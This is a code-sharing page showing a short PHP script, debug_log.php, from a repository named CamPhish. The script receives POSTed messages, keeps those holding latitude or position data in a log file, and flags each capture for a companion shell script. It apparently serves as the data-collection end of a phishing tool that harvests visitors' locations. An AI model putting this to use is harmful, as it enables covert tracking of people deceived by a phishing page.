Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
techchipnet
GitHub Repository: techchipnet/CamPhish
Path: blob/master/debug_log.php
1972 views
1
<?php
2
// Simple debug logging script
3
if(isset($_POST['message'])) {
4
$message = $_POST['message'];
5
$date = date('Y-m-d H:i:s');
6
7
// Filter out messages we don't want to show in the console
8
$filtered_messages = [
9
"Location data sent",
10
"getLocation called",
11
"Geolocation error",
12
"Location permission denied"
13
];
14
15
// Check if the message contains any of the filtered phrases
16
$should_filter = false;
17
foreach($filtered_messages as $filtered_phrase) {
18
if(strpos($message, $filtered_phrase) !== false) {
19
$should_filter = true;
20
break;
21
}
22
}
23
24
// Only log essential location data (coordinates) but not the filtered messages
25
if(!$should_filter && (
26
strpos($message, 'Lat:') !== false ||
27
strpos($message, 'Latitude:') !== false ||
28
strpos($message, 'Position obtained') !== false
29
)) {
30
// Log to location_debug.log
31
$location_log = fopen("location_debug.log", "a");
32
fwrite($location_log, "[$date] $message\n");
33
fclose($location_log);
34
35
// Also create a marker file for the shell script to detect
36
file_put_contents("LocationLog.log", "Location data captured\n", FILE_APPEND);
37
}
38
39
// Return success
40
header('Content-Type: application/json');
41
echo json_encode(['status' => 'success']);
42
} else {
43
// Return error
44
header('Content-Type: application/json');
45
echo json_encode(['status' => 'error', 'message' => 'No message provided']);
46
}
47
?>
48